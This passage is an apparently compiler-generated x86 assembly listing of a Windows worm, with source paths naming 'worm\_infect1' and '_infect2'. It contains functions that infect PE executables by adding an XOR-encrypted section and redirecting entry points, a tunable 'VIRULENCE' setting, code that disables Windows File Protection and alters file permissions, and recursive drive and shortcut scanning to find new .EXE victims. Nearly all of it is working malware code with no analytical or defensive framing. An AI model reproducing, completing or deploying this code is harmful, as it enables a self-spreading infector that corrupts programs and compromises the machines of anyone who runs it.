-12(%ebp),%eax movzbl (%ebx,%eax),%eax cmpl $233,%eax je _$786 _$788: incl -12(%ebp) cmpl $50,-12(%ebp) jb _$784 _$786: .line 606 cmpl $50,-12(%ebp) je _$709 _$790: .line 608 movl -460(%ebp),%eax movl -12(%ebp),%edx leal 1(%eax,%edx),%eax movl (%ebx,%eax),%eax movl %eax,-250532(%ebp) .line 609 movl -16(%ebp),%eax movl 52(%eax),%edx addl 40(%eax),%edx movl %edx,%eax addl -12(%ebp),%eax movl %eax,-250528(%ebp) .line 610 movl -250532(%ebp),%eax subl $0xffffffff,%eax movl -250528(%ebp),%edx leal 4(%eax,%edx),%eax movl %eax,-250520(%ebp) .line 622 movl -16(%ebp),%eax movl -250520(%ebp),%edx subl 52(%eax),%edx movl %edx,40(%eax) .line 623 movl -250520(%ebp),%eax movl -16(%ebp),%edx subl 52(%edx),%eax movl %eax,-28(%ebp) .line 635 jmp _$744 _$782: .line 640 cmpl $0,-176(%ebp) je _$792 cmpl $17,-250516(%ebp) jb _$792 .line 642 pushl -496(%ebp) pushl -456(%ebp) pushl -164(%ebp) pushl -250568(%ebp) pushl -144(%ebp) pushl %ebx pushl 8(%ebp) call _ReinfectSince17 addl $28,%esp movl %eax,-250572(%ebp) .line 643 test %eax,%eax je _$709 _$794: .line 644 _$792: .line 658 andl $0,-188(%ebp) .line 660 andl $0,-4(%ebp) jmp _$799 _$796: .line 664 movl -40(%ebp),%eax addl -4(%ebp),%eax addl %ebx,%eax movl %eax,-250832(%ebp) .line 665 cmpl $0,(,%eax) je _$798 _$800: .line 667 movl -250832(%ebp),%eax movl 12(%eax),%eax subl -24(%ebp),%eax addl -40(%ebp),%eax movl %eax,-250836(%ebp) .line 670 addl %ebx,%eax pushl %eax leal -250827(%ebp),%eax pushl %eax call _my_strcpy addl $8,%esp .line 676 andl $0,-250572(%ebp) jmp _$805 _$802: .line 677 movl -250572(%ebp),%eax movb -250827(%ebp,%eax),%al cmpb $97,%al jle _$806 cmpb $122,%al jge _$806 movl -250572(%ebp),%eax leal -250827(%ebp,%eax),%eax subb $32,(,%eax) _$806: .line 676 incl -250572(%ebp) _$805: movl -250572(%ebp),%eax cmpb $0,-250827(%ebp,%eax) jne _$802 .line 679 cmpb $75,-250827(%ebp) jne _$808 cmpb $69,-250826(%ebp) jne _$808 cmpb $82,-250825(%ebp) jne _$808 cmpb $76,-250822(%ebp) jne _$808 cmpb $51,-250821(%ebp) jne _$808 cmpb $50,-250820(%ebp) jne _$808 movl $1,-188(%ebp) _$808: .line 684 .line 660 addl $20,-4(%ebp) _$799: movl -16(%ebp),%eax movl 132(%eax),%eax cmpl %eax,-4(%ebp) jb _$796 _$798: .line 686 cmpl $0,-188(%ebp) je _$709 _$815: .line 691 movl -16(%ebp),%eax orw $1,22(%eax) .line 692 cmpw $0,94(%eax) je _$817 addl $94,%eax movzwl (,%eax),%edx xorl $64,%edx movw %dx,(,%eax) _$817: .line 696 movl _szinfcode,%eax leal -250496(%ebp,%eax),%eax movl %eax,-32(%ebp) .line 697 movl 60(%eax),%eax movl %eax,-48(%ebp) .line 698 addl -32(%ebp),%eax movl %eax,-140(%ebp) .line 700 cmpl $0,-176(%ebp) jne _$821 _$819: .line 704 movl -16(%ebp),%eax cmpl $0,208(%eax) je _$821 cmpl $0,212(%eax) je _$821 movl -184(%ebp),%edx cmpl %edx,84(%eax) jbe _$821 .line 712 movl -136(%ebp),%eax addl $248,%eax movl -16(%ebp),%edx movzwl 6(%edx),%edx imul $40,%edx,%edx addl %edx,%eax movl %eax,-250572(%ebp) .line 713 addl $40,%eax movl %eax,-250576(%ebp) .line 720 movl -16(%ebp),%eax pushl 212(%eax) movl -250572(%ebp),%eax addl %ebx,%eax pushl %eax movl -250576(%ebp),%eax addl %ebx,%eax pushl %eax call *__memcpy addl $12,%esp .line 721 movl -16(%ebp),%eax addl $208,%eax addl $40,(,%eax) .line 726 _$821: .line 728 pushl -496(%ebp) pushl -144(%ebp) call _align movl %eax,-144(%ebp) .line 736 pushl $4096 movl _dll_len,%eax addl _szinfcode,%eax pushl %eax call _align addl $16,%esp movl %eax,-250500(%ebp) .line 738 movl -16(%ebp),%eax movzwl 6(%eax),%eax imul $40,%eax,%eax movl -136(%ebp),%edx leal 248(%edx,%ebx),%edx movl %eax,%esi addl %edx,%esi .line 746 cmpb $0,_SECTNAME jne _$824 pushl $_$826 pushl %esi call _my_strcpy addl $8,%esp jmp _$825 _$824: pushl $_SECTNAME pushl %esi call _my_strcpy addl $8,%esp _$825: .line 747 pushl $12 pushl $0 movl %esi,%eax addl $24,%eax pushl %eax call *__memset .line 748 movl -250500(%ebp),%eax movl %eax,8(%esi) .line 749 movl -36(%ebp),%eax movl %eax,12(%esi) .line 750 movl -250500(%ebp),%eax movl %eax,16(%esi) .line 751 movl -144(%ebp),%eax movl %eax,20(%esi) .line 752 movl $0xe0000000,36(%esi) .line 761 pushl -496(%ebp) movl -144(%ebp),%eax addl 16(%esi),%eax pushl %eax call _align movl %eax,-144(%ebp) .line 762 movl -250500(%ebp),%eax addl %eax,-36(%ebp) .line 763 pushl -456(%ebp) pushl -36(%ebp) call _align movl %eax,-36(%ebp) .line 764 movl -16(%ebp),%eax addl $6,%eax incw (,%eax) .line 765 pushl -456(%ebp) movl 12(%esi),%eax addl 8(%esi),%eax pushl %eax call _align addl $36,%esp movl -16(%ebp),%edx movl %eax,80(%edx) .line 774 call *__rand movl %eax,%edi movl $253,%ecx cdq idivl %ecx movl %edx,%edi incl %edi movl %di,%dx movb %dl,-17(%ebp) .line 776 movl -32(%ebp),%edi movl _dll_len,%edx shrl $12,%edx movb %dl,1(%edi) .line 777 movl %edi,%eax movzbl -17(%ebp),%edx xorl $77,%edx movb %dl,(,%eax) .line 778 movl %edi,%eax cmpb $10,1(%eax) jle _$827 call *__rand movl %eax,%edi movl -32(%ebp),%edx incl %edx movl %edx,-250580(%ebp) movsbl (,%edx),%ecx movl %ecx,-250572(%ebp) movl %edi,%eax movl %eax,-250576(%ebp) movl $10,%ecx cdq idivl %ecx movl -250572(%ebp),%edi subl %edx,%edi movl %di,%dx movl -250580(%ebp),%edi movb %dl,(,%edi) _$827: .line 780 movl -32(%ebp),%eax movl _dll_len,%edi movsbl 1(%eax),%edx sall $12,%edx subl %edx,%edi shrl $9,%edi movl %di,%dx movb %dl,2(%eax) .line 784 movb _VIRULENCE,%al cmpb $51,%al jae _$829 call *__rand movl %eax,%edi movl -32(%ebp),%edx movl %edx,-250588(%ebp) movl %edi,%eax movl %eax,-250584(%ebp) movl $50,%ecx cdq idivl %ecx movl -250588(%ebp),%edi movb %dl,64(%edi) jmp _$830 _$829: movl -32(%ebp),%eax movzbl _VIRULENCE,%edx movb %dl,64(%eax) _$830: .line 790 movl -32(%ebp),%eax movl -16(%ebp),%edx movl 40(%edx),%edx movl %edx,65(%eax) .line 794 movl $69,-12(%ebp) jmp _$834 _$831: .line 795 call *__rand movl %eax,%edi movl -12(%ebp),%edx movl %edx,-250600(%ebp) movl -32(%ebp),%ecx movl %ecx,-250592(%ebp) movl %edi,%eax movl %eax,-250596(%ebp) movl $255,%ecx cdq idivl %ecx movl -250592(%ebp),%edi movl -250600(%ebp),%ecx movb %dl,(%edi,%ecx) .line 794 incl -12(%ebp) _$834: movl -48(%ebp),%eax addl $2,%eax cmpl %eax,-12(%ebp) jb _$831 .line 800 pushl _szinfcode movl -164(%ebp),%eax addl %ebx,%eax pushl %eax leal -250496(%ebp),%eax pushl %eax call *__memcpy .line 801 movl _dll_len,%eax addl _szinfcode,%eax pushl %eax leal -250496(%ebp),%eax pushl %eax movl 20(%esi),%eax addl %ebx,%eax pushl %eax call *__memcpy addl $24,%esp .line 815 movl 20(%esi),%eax addl _szinfcode,%eax movl %eax,-250536(%ebp) .line 816 addl $3,%eax movl %eax,-160(%ebp) .line 822 movl %eax,-12(%ebp) jmp _$838 _$835: movl -12(%ebp),%eax addl %ebx,%eax movzbl (,%eax),%edx movzbl -17(%ebp),%ecx xorl %ecx,%edx movb %dl,(,%eax) incl -12(%ebp) _$838: movl -160(%ebp),%eax addl _dll_len,%eax cmpl %eax,-12(%ebp) jb _$835 .line 830 andl $0,-4(%ebp) jmp _$842 _$839: .line 832 movl $40,%eax mull -4(%ebp) movl %eax,-250604(%ebp) movl -48(%ebp),%eax movl -32(%ebp),%edx leal 248(%eax,%edx),%eax movl -250604(%ebp),%edx addl %eax,%edx movl %edx,-8(%ebp) .line 842 movl %edx,%eax cmpb $101,1(%eax) jne _$843 .line 844 movl 20(%edx),%eax movl %eax,-192(%ebp) .line 845 movl 12(%edx),%eax movl %eax,-468(%ebp) .line 850 jmp _$840 _$843: .line 854 movl -8(%ebp),%eax cmpb $116,1(%eax) jne _$845 .line 856 movl 12(%eax),%ecx movl %ecx,-172(%ebp) .line 857 movl 8(%eax),%edx movl %edx,-488(%ebp) .line 858 movl 20(%eax),%eax movl %eax,-196(%ebp) .line 859 movl -8(%ebp),%eax movl 16(%eax),%eax movl %eax,-132(%ebp) .line 864 jmp _$840 _$845: .line 868 movl -8(%ebp),%eax cmpb $100,1(%eax) jne _$847 .line 870 movl 12(%eax),%ecx movl %ecx,-180(%ebp) .line 871 movl 8(%eax),%edx movl %edx,-480(%ebp) .line 872 movl 20(%eax),%eax movl %eax,-472(%ebp) .line 873 movl -8(%ebp),%eax movl 16(%eax),%eax movl %eax,-476(%ebp) .line 878 jmp _$840 _$847: .line 881 movl -8(%ebp),%eax cmpb $114,1(%eax) jne _$840 .line 883 movl 20(%eax),%eax movl %eax,-464(%ebp) .line 888 .line 892 _$840: .line 830 incl -4(%ebp) _$842: movl -140(%ebp),%eax movzwl 6(%eax),%eax cmpl %eax,-4(%ebp) jb _$839 .line 897 cmpl $0,-176(%ebp) jne _$851 .line 899 movl -16(%ebp),%eax addl $96,%eax movl -140(%ebp),%edx movl 96(%edx),%edx addl %edx,(,%eax) .line 900 movl -16(%ebp),%eax addl $104,%eax movl -140(%ebp),%edx movl 104(%edx),%edx addl %edx,(,%eax) _$851: .line 905 movl -16(%ebp),%eax movw $13,68(%eax) .line 906 movb $8,26(%eax) .line 907 movw $23,70(%eax) .line 911 movl -192(%ebp),%eax addl -32(%ebp),%eax movl %eax,-250544(%ebp) .line 912 movl -192(%ebp),%eax movl -250544(%ebp),%edx addl 28(%edx),%eax subl -468(%ebp),%eax movl %eax,-250548(%ebp) .line 914 addl -32(%ebp),%eax movl %eax,-250552(%ebp) .line 915 movl (,%eax),%eax movl %eax,-250556(%ebp) .line 919 subl -172(%ebp),%eax movl %eax,-250560(%ebp) .line 928 movl 12(%esi),%eax movl -16(%ebp),%edx addl 52(%edx),%eax addl _szinfcode,%eax movl %eax,-492(%ebp) .line 929 addl -464(%ebp),%eax movl %eax,-250540(%ebp) .line 930 movl 52(%edx),%eax addl -36(%ebp),%eax movl %eax,-250504(%ebp) .line 934 movl -492(%ebp),%eax movl %eax,-128(%ebp) .line 936 addl -196(%ebp),%eax movl %eax,-124(%ebp) .line 937 movl -132(%ebp),%eax movl %eax,-120(%ebp) .line 938 movl -250504(%ebp),%eax movl %eax,-116(%ebp) .line 940 movl -492(%ebp),%eax addl -472(%ebp),%eax movl %eax,-112(%ebp) .line 941 movl -476(%ebp),%eax movl %eax,-108(%ebp) .line 942 movl -250504(%ebp),%eax addl -180(%ebp),%eax subl -172(%ebp),%eax movl %eax,-104(%ebp) .line 944 movl -250540(%ebp),%eax movl %eax,-100(%ebp) .line 945 movl 52(%edx),%eax movl %eax,-96(%ebp) .line 946 movl -140(%ebp),%eax movl 52(%eax),%eax movl %eax,-92(%ebp) .line 947 movl -250540(%ebp),%eax movl -140(%ebp),%edx addl 164(%edx),%eax movl %eax,-88(%ebp) .line 949 movl -172(%ebp),%eax movl %eax,-84(%ebp) .line 950 movl -180(%ebp),%eax movl %eax,-80(%ebp) .line 951 movl _dll_len,%eax movl %eax,-76(%ebp) .line 952 call *__rand movl %eax,%edi call *__rand movl %eax,-250604(%ebp) call *__rand movl %eax,%edx movl %edx,-250612(%ebp) movl %edi,%eax movl %eax,-250608(%ebp) movl $255,%ecx cdq idivl %ecx movl %edx,%edi sall $24,%edi movl -250604(%ebp),%edx movl %edx,%eax movl $255,%ecx cdq idivl %ecx sall $16,%edx addl %edx,%edi movl -250612(%ebp),%edx movl %edx,%eax movl $255,%ecx cdq idivl %ecx sall $8,%edx addl %edx,%edi movzbl -17(%ebp),%edx addl %edx,%edi movl %edi,-72(%ebp) .line 954 movl -250504(%ebp),%eax addl -250560(%ebp),%eax movl %eax,-250564(%ebp) .line 963 pushl $4096 pushl -480(%ebp) call _align movl -180(%ebp),%edx subl -172(%ebp),%edx leal 4096(%edx,%eax),%edi movl %edi,-250508(%ebp) .line 965 movl %edi,%eax addl %eax,-36(%ebp) .line 966 movl -16(%ebp),%eax addl $80,%eax movl %edi,%edx addl %edx,(,%eax) .line 967 movl %edi,%eax addl %eax,8(%esi) .line 969 pushl -456(%ebp) pushl -36(%ebp) call _align movl %eax,-36(%ebp) .line 970 pushl -456(%ebp) movl -16(%ebp),%eax movl %eax,-250616(%ebp) pushl 80(%eax) call _align movl -250616(%ebp),%edx movl %eax,80(%edx) .line 1000 pushl -28(%ebp) pushl -250564(%ebp) leal -128(%ebp),%eax pushl %eax movl -164(%ebp),%eax addl %ebx,%eax pushl %eax call _WriteOrGetLen_C_CODE addl $40,%esp .line 1004 movl -250536(%ebp),%eax addl -196(%ebp),%eax movl %eax,-152(%ebp) .line 1011 andl $0,-156(%ebp) .line 1018 movl %eax,-4(%ebp) jmp _$870 _$867: .line 1021 movl -4(%ebp),%eax movzbl (%ebx,%eax),%eax movzbl -17(%ebp),%edx xorl %edx,%eax movb %al,-250617(%ebp) .line 1022 movl -4(%ebp),%eax incl %eax movzbl (%ebx,%eax),%eax movzbl -17(%ebp),%edx xorl %edx,%eax movb %al,-250618(%ebp) .line 1023 movl -4(%ebp),%eax addl $2,%eax movzbl (%ebx,%eax),%eax movzbl -17(%ebp),%edx xorl %edx,%eax movb %al,-250619(%ebp) .line 1024 movl -4(%ebp),%eax addl $7,%eax movzbl (%ebx,%eax),%eax movzbl -17(%ebp),%edx xorl %edx,%eax movb %al,-250620(%ebp) .line 1026 movzbl -250617(%ebp),%eax cmpl $201,%eax jne _$871 cmpb $97,-250618(%ebp) jne _$871 movzbl -250619(%ebp),%eax cmpl $233,%eax jne _$871 movzbl -250620(%ebp),%eax cmpl $195,%eax jne _$871 .line 1027 movl -4(%ebp),%eax addl $2,%eax movl %eax,-156(%ebp) jmp _$869 _$871: .line 1028 .line 1018 incl -4(%ebp) _$870: movl -152(%ebp),%eax addl -132(%ebp),%eax cmpl %eax,-4(%ebp) jb _$867 _$869: .line 1030 cmpl $0,-156(%ebp) je _$709 _$873: .line 1036 movl -116(%ebp),%eax addl -156(%ebp),%eax subl -152(%ebp),%eax movl %eax,-250528(%ebp) .line 1037 movl -16(%ebp),%eax movl 52(%eax),%eax addl -28(%ebp),%eax movl %eax,-250520(%ebp) .line 1042 movl $0xfffffffe,%ecx subl -250528(%ebp),%ecx addl %eax,%ecx subl $3,%ecx movl %ecx,-250532(%ebp) .line 1048 movl -156(%ebp),%eax incl %eax movl %ecx,%edx movl %edx,(%ebx,%eax) .line 1050 movl -156(%ebp),%eax incl %eax addl %ebx,%eax movzbl (,%eax),%edx movzbl -17(%ebp),%ecx xorl %ecx,%edx movb %dl,(,%eax) .line 1051 movl -156(%ebp),%eax addl $2,%eax addl %ebx,%eax movzbl (,%eax),%edx movzbl -17(%ebp),%ecx xorl %ecx,%edx movb %dl,(,%eax) .line 1052 movl -156(%ebp),%eax addl $3,%eax addl %ebx,%eax movzbl (,%eax),%edx movzbl -17(%ebp),%ecx xorl %ecx,%edx movb %dl,(,%eax) .line 1053 movl -156(%ebp),%eax addl $4,%eax addl %ebx,%eax movzbl (,%eax),%edx movzbl -17(%ebp),%ecx xorl %ecx,%edx movb %dl,(,%eax) .line 1059 pushl -168(%ebp) call *__CloseHandle .line 1061 pushl 8(%ebp) leal -451(%ebp),%eax pushl %eax call _my_strcpy addl $8,%esp .line 1062 movl 8(%ebp),%eax movl %eax,%ecx orl $-1,%eax _$strlen4: inc %eax cmpb $0,(%ecx,%eax) jnz _$strlen4 movl %eax,-250512(%ebp) .line 1064 movl -250512(%ebp),%eax subl $3,%eax movb $118,-451(%ebp,%eax) .line 1065 movl -250512(%ebp),%eax subl $2,%eax movb $105,-451(%ebp,%eax) .line 1066 movl -250512(%ebp),%eax subl $1,%eax movb $114,-451(%ebp,%eax) .line 1068 pushl $0 pushl $0 pushl $2 pushl $0 pushl $0 pushl $0x40000000 leal -451(%ebp),%eax pushl %eax call *__CreateFile movl %eax,-168(%ebp) .line 1069 pushl $0 leal -4(%ebp),%eax pushl %eax pushl -144(%ebp) pushl %ebx pushl -168(%ebp) call *__WriteFile .line 1079 pushl -168(%ebp) call *__CloseHandle .line 1080 pushl %ebx call *__LocalFree .line 1090 pushl $0 pushl 8(%ebp) leal -451(%ebp),%eax pushl %eax call *__CopyFile .line 1091 leal -451(%ebp),%eax pushl %eax call *__DeleteFile .line 1094 movl $1,%eax jmp _$701 _$709: .line 1103 pushl -168(%ebp) call *__CloseHandle .line 1104 or %ebx,%ebx je _$878 pushl %ebx call *__LocalFree _$878: .line 1105 xor %eax,%eax _$701: .line 1106 popl %edi popl %esi popl %ebx leave ret _$963: .size _InfectPE,_$963-_InfectPE .globl _InfectPE .file "e:\projects\progs\petrosjan\bjwj\worm\_infect1\_getdll.c" _$M150: .type _GetDll,function _GetDll: pushl %ebp movl %esp,%ebp pushl %ecx pushl %eax pushl %ebx pushl %esi pushl %edi .line 9 .line 10 movl $0,-4(%ebp) .line 11 movl _szinfcode,%edi addl _upx_sect,%edi movl %edi,-8(%ebp) .line 13 movl -8(%ebp),%edi movzbl 1(%edi),%edi sall $12,%edi addl %edi,-4(%ebp) .line 14 movl -8(%ebp),%edi movzbl 2(%edi),%edi sall $9,%edi addl %edi,-4(%ebp) .line 16 movl 8(%ebp),%edi movl -4(%ebp),%esi movl %esi,(,%edi) .line 17 movl -8(%ebp),%edi movb 64(%edi),%bl movb %bl,_VIRULENCE .line 24 movl -8(%ebp),%eax _$964: .line 25 popl %edi popl %esi popl %ebx leave ret _$965: .size _GetDll,_$965-_GetDll .globl _GetDll .type _GetVictimEP,function _GetVictimEP: pushl %ebp movl %esp,%ebp pushl %ecx pushl %eax pushl %edi .line 31 .line 32 movl _szinfcode,%edi addl _upx_sect,%edi movl %edi,-4(%ebp) .line 33 movl -4(%ebp),%edi movl 65(%edi),%edi movl %edi,-8(%ebp) .line 35 movl -8(%ebp),%eax _$966: .line 36 popl %edi leave ret _$967: .size _GetVictimEP,_$967-_GetVictimEP .globl _GetVictimEP .file "e:\projects\progs\petrosjan\bjwj\worm\_infect2\_softfind.c" _$M151: ; sf --> %edi .type _softfind_CSIDL,function _softfind_CSIDL: pushl %ebp movl %esp,%ebp subl $260,%esp pushl %edi .line 3 .line 7 leal -260(%ebp),%eax pushl %eax pushl $0 pushl $0 pushl 8(%ebp) pushl $0 call *__SHGetFolderPath movl %eax,%edi .line 8 or %edi,%edi jne _$968 _$969: .line 10 pushl $_$971 leal -260(%ebp),%eax pushl %eax call *__strcat .line 16 pushl $1 pushl $67 leal -260(%ebp),%eax pushl %eax call _rscan addl $20,%esp _$968: .line 17 popl %edi leave ret _$974: .size _softfind_CSIDL,_$974-_softfind_CSIDL .globl _softfind_CSIDL .type _softfind,function _softfind: .line 20 .line 21 pushl $2 call _softfind_CSIDL .line 22 pushl $0 call _softfind_CSIDL addl $8,%esp .line 23 ret _$976: .size _softfind,_$976-_softfind .globl _softfind .file "e:\projects\progs\petrosjan\bjwj\worm\_infect2\_fileown.c" _$M152: ; fname --> %edi .type _UnprotectFile,function _UnprotectFile: pushl %ebp movl %esp,%ebp pushl %ecx pushl %eax pushl %edi .line 7 movl 8(%ebp),%edi .line 10 call _isSystemNT or %eax,%eax je _$977 .line 11 _$978: .line 13 pushl _sdsc2 pushl $1 pushl %edi call *__SetFileSecurity movl %eax,-4(%ebp) .line 14 pushl _sdsc2 pushl $4 pushl %edi call *__SetFileSecurity movl %eax,-8(%ebp) _$977: .line 19 popl %edi leave ret _$983: .size _UnprotectFile,_$983-_UnprotectFile .globl _UnprotectFile .file "e:\projects\progs\petrosjan\bjwj\worm\_infect2\_rscan.c" _$M153: .type _rscanSehHandler,function _rscanSehHandler: .line 16 .byte 0x55 .byte 0x89,0xE5 .byte 0x60 .byte 0x8B,0x75,0x10 movl $_rscanSehSafeCode,%eax .byte 0x89,0x86,0xB8,0,0,0 .byte 0x8B,0x45,0x0C .byte 0x89,0x86,0xC4,0,0,0 .byte 0x61 .byte 0x89,0xEC .byte 0x5D .byte 0x31,0xC0 .byte 0xC3 .line 73 .line 75 ret _$985: .size _rscanSehHandler,_$985-_rscanSehHandler .globl _rscanSehHandler .type _rscanSehSafeCode,function _rscanSehSafeCode: .line 80 .line 81 pushl $1 call *__ExitThread .line 82 ret _$987: .size _rscanSehSafeCode,_$987-_rscanSehSafeCode .globl _rscanSehSafeCode ; l --> %edi ; l --> %edi ; r --> %esi .type _ProcessLNK,function _ProcessLNK: pushl %ebp movl %esp,%ebp .extern __stackprobe movl $73996,%eax call __stackprobe pushl %ebx pushl %esi pushl %edi .line 87 .line 97 pushl 8(%ebp) leal -73988(%ebp),%eax pushl %eax call _my_strcpy addl $8,%esp .line 98 leal -73988(%ebp),%ecx orl $-1,%eax _$strlen5: inc %eax cmpb $0,(%ecx,%eax) jnz _$strlen5 movl %eax,%ebx subl $1,%ebx movb $0,-73988(%ebp,%ebx) .line 101 pushl $0 pushl $0 pushl $3 pushl $0 pushl $0 pushl $0x80000001 leal -73988(%ebp),%eax pushl %eax call *__CreateFile movl %eax,%edi .line 102 cmpl $0xffffffff,%edi je _$988 _$989: .line 105 pushl $0 leal -73996(%ebp),%eax pushl %eax pushl $8191 leal -8191(%ebp),%eax pushl %eax pushl %edi call *__ReadFile movl %eax,%esi .line 106 pushl %edi call *__CloseHandle .line 107 or %esi,%esi je _$988 _$991: .line 109 cmpb $76,-8191(%ebp) jne _$988 _$993: .line 111 movzbl -8115(%ebp),%ebx movzbl -8114(%ebp),%edx movl %dx,%si movzwl %si,%esi sall $8,%esi orl %esi,%ebx movl %bx,%si movw %si,-73990(%ebp) .line 112 movzwl -73990(%ebp),%eax addl $78,%eax movw %ax,-73728(%ebp) .line 114 movzwl -73728(%ebp),%eax cmpb $0,-8191(%ebp,%eax) je _$988 _$997: .line 115 movzwl -73728(%ebp),%eax cmpb $1,-8183(%ebp,%eax) jne _$988 _$999: .line 117 movzwl -73728(%ebp),%eax movzbl -8175(%ebp,%eax),%edx movzbl -8174(%ebp,%eax),%ebx movl %bx,%si movzwl %si,%esi sall $8,%esi movl %edx,%ebx orl %esi,%ebx movl %bx,%si movzwl %si,%esi movl %eax,%ebx addl %esi,%ebx movl %bx,%si movw %si,-73992(%ebp) .line 119 movzwl -73992(%ebp),%eax leal -8191(%ebp,%eax),%eax pushl %eax leal -73726(%ebp),%eax pushl %eax call _my_strcpy addl $8,%esp .line 120 leal -73726(%ebp),%ecx orl $-1,%eax _$strlen6: inc %eax cmpb $0,(%ecx,%eax) jnz _$strlen6 movl %eax,%edi .line 122 movl %edi,%eax subl $4,%eax cmpb $46,-73726(%ebp,%eax) jne _$1008 movl %edi,%eax subl $3,%eax movsbl -73726(%ebp,%eax),%eax pushl %eax call *___toupper addl $4,%esp cmpl $69,%eax jne _$1008 movl %edi,%esi subl $2,%esi movsbl -73726(%ebp,%esi),%ebx pushl %ebx call *___toupper addl $4,%esp cmpl $88,%eax jne _$1008 movl %edi,%esi subl $1,%esi movsbl -73726(%ebp,%esi),%ebx pushl %ebx call *___toupper addl $4,%esp cmpl $69,%eax je _$1004 _$1008: .line 123 jmp _$988 _$1004: .line 129 pushl $_$971 leal -73726(%ebp),%eax pushl %eax call *__strcat .line 130 pushl $1 pushl $0 leal -73726(%ebp),%eax pushl %eax call _ProcessEXE addl $20,%esp _$988: .line 131 popl %edi popl %esi popl %ebx leave ret _$1018: .size _ProcessLNK,_$1018-_ProcessLNK .globl _ProcessLNK ; q --> %edi ; ires --> %esi ; st --> %ebx .type _ProcessEXE,function _ProcessEXE: pushl %ebp movl %esp,%ebp subl $800,%esp pushl %ebx pushl %esi pushl %edi .line 138 movl 8(%ebp),%ebx .line 145 pushl %ebx leal -790(%ebp),%eax pushl %eax call _my_strcpy addl $8,%esp .line 146 cmpl $1,16(%ebp) jne _$1020 leal -790(%ebp),%ecx orl $-1,%eax _$strlen7: inc %eax cmpb $0,(%ecx,%eax) jnz _$strlen7 movl %eax,%edx subl $1,%edx movb $0,-790(%ebp,%edx) _$1020: .line 152 movb _VIRULENCE,%al cmpb $100,%al jbe _$1022 cmpl $1,16(%ebp) jne _$1022 .line 154 xor %esi,%esi .line 155 pushl $1 pushl $_$1026 pushl %ebx call _serstr addl $12,%esp cmpl $65535,%eax je _$1024 xor %esi,%esi inc %esi _$1024: .line 156 pushl $1 pushl $_$1029 pushl %ebx call _serstr addl $12,%esp cmpl $65535,%eax je _$1027 xor %esi,%esi inc %esi _$1027: .line 157 pushl $1 pushl $_$1032 pushl %ebx call _serstr addl $12,%esp cmpl $65535,%eax je _$1030 xor %esi,%esi inc %esi _$1030: .line 158 pushl $1 pushl $_$1035 pushl %ebx call _serstr addl $12,%esp cmpl $65535,%eax je _$1033 xor %esi,%esi inc %esi _$1033: .line 159 pushl $1 pushl $_$1038 pushl %ebx call _serstr addl $12,%esp cmpl $65535,%eax je _$1036 xor %esi,%esi inc %esi _$1036: .line 160 pushl $1 pushl $_$1041 pushl %ebx call _serstr addl $12,%esp cmpl $65535,%eax je _$1039 xor %esi,%esi inc %esi _$1039: .line 166 or %esi,%esi jne _$1022 .line 167 xor %eax,%eax jmp _$1019 .line 168 _$1022: .line 171 pushl 12(%ebp) call *___sleep popl %ecx .line 174 cmpl $5,_MAJORW ja _$1046 _$1044: .line 183 xor %edi,%edi _$1047: .line 185 movl %edi,%edx shll $1,%edx movl %edx,-800(%ebp) .line 187 movl %edx,%eax movb -790(%ebp,%edi),%dl movb %dl,-530(%ebp,%eax) .line 188 movl -800(%ebp),%eax incl %eax movb $0,-530(%ebp,%eax) .line 190 cmpb $0,-790(%ebp,%edi) jne _$1051 .line 192 movl -800(%ebp),%eax addl $2,%eax movb $0,-530(%ebp,%eax) .line 193 movl -800(%ebp),%eax addl $3,%eax movb $0,-530(%ebp,%eax) .line 194 jmp _$1049 _$1051: .line 196 .line 183 incl %edi jmp _$1047 _$1049: .line 200 cmpl $0,__SFC je _$1046 _$1053: .line 204 leal -530(%ebp),%eax pushl %eax pushl $0 call *__SfcIsFileProtected movl %eax,-796(%ebp) .line 206 test %eax,%eax je _$1046 _$1055: .line 214 cmpl $0,__SFC_OS je _$1061 .line 222 pushl $0xffffffff leal -530(%ebp),%eax pushl %eax pushl $0 call *__SfcFileException movl %eax,-800(%ebp) .line 228 test %eax,%eax je _$1046 xor %esi,%esi jmp _$1061 .line 229 .line 234 _$1046: .line 236 leal -790(%ebp),%eax pushl %eax call _InfectPE popl %ecx movl %eax,%esi _$1061: .line 245 movl %esi,%eax _$1019: .line 246 popl %edi popl %esi popl %ebx leave ret _$1072: .size _ProcessEXE,_$1072-_ProcessEXE .globl _ProcessEXE ; bl --> %edi ; i --> %esi ; st --> %ebx .type _rscan,function _rscan: pushl %ebp movl %esp,%ebp subl $604,%esp pushl %ebx pushl %esi pushl %edi .line 251 movl 8(%ebp),%ebx .line 258 xor %edi,%edi inc %edi .line 261 cmpl $0,16(%ebp) je _$1074 andl $0,-584(%ebp) jmp _$1076 _$1074: .line 263 movl 12(%ebp),%edx cmpl $0,_drvl(,%edx,4) jne _$1077 .line 268 pushl %esi call *__FindClose .line 269 pushl $1 call *__ExitThread _$1077: .line 272 movl $100,-584(%ebp) .line 274 pushl 12(%ebp) pushl $_$1079 leal -598(%ebp),%eax pushl %eax call *__sprintf addl $12,%esp .line 275 leal -598(%ebp),%eax pushl %eax call *__GetDriveType cmpl $3,%eax jne _$1080 movl $300,-584(%ebp) _$1080: .line 277 movzbl _VIRULENCE,%eax cmpb $100,%al jbe _$1076 movl $30,-584(%ebp) .line 279 _$1076: .line 281 xor %edi,%edi inc %edi .line 283 pushl %ebx pushl $_$1084 leal -578(%ebp),%eax pushl %eax call *__sprintf addl $12,%esp .line 284 movl %ebx,%ecx orl $-1,%eax _$strlen8: inc %eax cmpb $0,(%ecx,%eax) jnz _$strlen8 movl %eax,-588(%ebp) .line 290 movl -588(%ebp),%eax subl $5,%eax cmpb $46,(%ebx,%eax) jne _$1085 .line 292 movl -588(%ebp),%eax subl $4,%eax movsbl (%ebx,%eax),%eax pushl %eax call *___toupper addl $4,%esp movl %ax,%dx movb %dl,-599(%ebp) .line 293 movl -588(%ebp),%eax subl $3,%eax movsbl (%ebx,%eax),%eax pushl %eax call *___toupper addl $4,%esp movl %ax,%dx movb %dl,-600(%ebp) .line 294 movl -588(%ebp),%eax subl $2,%eax movsbl (%ebx,%eax),%eax pushl %eax call *___toupper addl $4,%esp movl %ax,%dx movb %dl,-601(%ebp) .line 296 cmpb $76,-599(%ebp) jne _$1087 cmpb $78,-600(%ebp) jne _$1087 cmpb $75,-601(%ebp) jne _$1087 pushl %ebx call _ProcessLNK addl $4,%esp _$1087: .line 297 cmpb $69,-599(%ebp) jne _$1085 cmpb $88,-600(%ebp) jne _$1085 cmpb $69,-601(%ebp) jne _$1085 pushl $1 pushl -584(%ebp) pushl %ebx call _ProcessEXE addl $12,%esp .line 298 _$1085: .line 300 leal 